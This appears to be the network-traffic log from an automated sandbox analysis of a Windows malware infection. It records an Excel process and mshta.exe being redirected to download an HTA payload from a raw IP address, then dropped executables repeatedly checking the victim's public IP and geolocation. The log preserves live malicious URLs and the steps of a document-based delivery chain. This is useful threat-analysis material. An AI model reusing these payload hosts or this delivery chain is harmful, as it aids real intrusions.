Aug 13, 2024 20:25:18.399682999 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Aug 13, 2024 20:25:19.203609943 CEST	272	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:19 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49191	132.226.247.73	80	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:25:19.983536005 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Aug 13, 2024 20:25:20.669493914 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:20 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 238c62b02111099329f6142122783c08 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49193	193.122.6.168	80	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:25:21.355319977 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Aug 13, 2024 20:25:26.251801968 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:26 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: fc53a97d611d838026d9b78c14f1ae30 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49194	193.122.6.168	80	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:25:25.803679943 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Aug 13, 2024 20:25:30.782433987 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 39975fcc490e1dd0104fff61d329d099 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:25:31.864541054 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 39975fcc490e1dd0104fff61d329d099 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:25:31.867202044 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 39975fcc490e1dd0104fff61d329d099 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:25:31.871303082 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:30 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 39975fcc490e1dd0104fff61d329d099 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.22	49196	193.122.6.168	80	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:25:26.943600893 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Aug 13, 2024 20:25:31.872004986 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:31 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7cb56dc783da971cc78e747ba5f5bd90 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Aug 13, 2024 20:25:31.927282095 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:31 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7cb56dc783da971cc78e747ba5f5bd90 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.22	49200	193.122.6.168	80	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
Aug 13, 2024 20:25:32.656517029 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Aug 13, 2024 20:25:36.762876987 CEST	320	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:36 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c77b5d0cdc67354dd9cce01bbacf0406 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	159.203.133.15	443	1208	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:24:24 UTC	321	OUT	GET /JkAPbL HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: exi.link Connection: Keep-Alive
2024-08-13 18:24:24 UTC	717	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 13 Aug 2024 18:24:24 GMT Server: Apache/2.4.61 (Debian) Set-Cookie: PHPSESSID=3kksqcn89f8g7vnr22c4n7l71f; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: short_3115571=1; expires=Tue, 13 Aug 2024 18:39:24 GMT; Max-Age=900; path=/; HttpOnly location: http://192.3.176.138/xampp/sop/40.hta Connection: keep-alive, close Keep-Alive: timeout=100,max=500 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,PUT,POST Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Credentials: true Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49163	159.203.133.15	443	2480	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:24:28 UTC	370	OUT	GET /JkAPbL HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: exi.link Connection: Keep-Alive Cookie: short_3115571=1
2024-08-13 18:24:28 UTC	618	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 13 Aug 2024 18:24:28 GMT Server: Apache/2.4.61 (Debian) Set-Cookie: PHPSESSID=k3sg4v866vo8cdk39f62jvtol0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache location: http://192.3.176.138/xampp/sop/40.hta Connection: keep-alive, close Keep-Alive: timeout=100,max=500 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,PUT,POST Access-Control-Allow-Headers: Content-Type, Authorization Access-Control-Allow-Credentials: true Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49167	188.114.96.3	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:24:49 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:24:49 UTC	716	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:49 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10592 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UohUvzJcduVjTtOAoRzm2XUs8sjFP%2BojKHiRhueirqBAhHd0xibse%2F%2FpHGFhrPlbp6vvUbafcXd%2FcvnKhM7HQVv17LlpIO6TDe8PVh%2Fq9OBPAs%2FWBe4ixu6ODle1cKbO7%2BR%2FO0bD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abe85bdda5e6a-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:24:49 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:24:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49168	188.114.96.3	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:24:50 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-08-13 18:24:50 UTC	710	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:50 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10593 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S1a07BnRgLpSKe%2BneKz1mcDnWKNFTcFp%2BLtUO%2FCEsipAN6hE9bOMyanusu8tghSAhKKDzxJfveudfq3FOnZoFV%2Fg3sFFktey0%2F0i89lxWRVFkSBDjzqNcy9vTQtMtS9XBzCSOAyk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abe8bafd34396-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:24:50 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:24:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49170	188.114.97.3	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:24:52 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:24:52 UTC	708	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:52 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10595 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=b%2B1zaoECMNeCrdCslG%2BMuXHBXgKQg15YUmOsYmLfS2zTvDS5ODO2iVgV7fetONOrP3xrRoNDrVtfHueOsgJlIihQznovV8QXzh21S0Xtivabq%2FGq5RAAWgl%2FGyyWeefw4W90Jegl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abe996dd41a13-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:24:52 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:24:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49172	188.114.97.3	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:24:54 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:24:54 UTC	706	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:54 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10597 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hGv%2Bl5GPmGvQJZJI935cxU6ZNehh9cAmImIDss9YJhDW19wc6mKQih1G9fVgFXcA0wx2EAtrMIK1s%2FIaxpQNQ3ny8%2BjgWTPWuZqjHA53vTcpBb8ivtO7czojl20kqrxPCsdkfpXO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abea24ba141c1-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:24:54 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:24:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49174	188.114.97.3	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:24:55 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:24:55 UTC	702	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:55 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10598 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T3TRcJYF2moFr4exzck0Qrxcde6ucuMmEmQYfx70h88JUDd89TsM3l4ocxKL%2F55asbadihZmGUrs263uO7bDhmBGrMywSidwZe8wT9owZzfeDMOjSQ0lAuogl22QAwlcncZijFmb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abeac98120f7f-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:24:55 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:24:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49176	188.114.96.3	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:24:57 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:24:57 UTC	706	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:57 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10600 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=i80mrYApi%2BDPvJtlOGdC63qNBsjVR4T8dpq7ai9KmHo7tErgwDKig%2FJN%2BcAOYzZJdMo7lv2FARqdpOiS5ItAxQd4VsrC6LS7BG5uomuzr6dyKmh49pf9wRxZKBy8yqcRS07bcG16"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abeb93bb54255-EWR alt-svc: h3=":443"; ma=86400
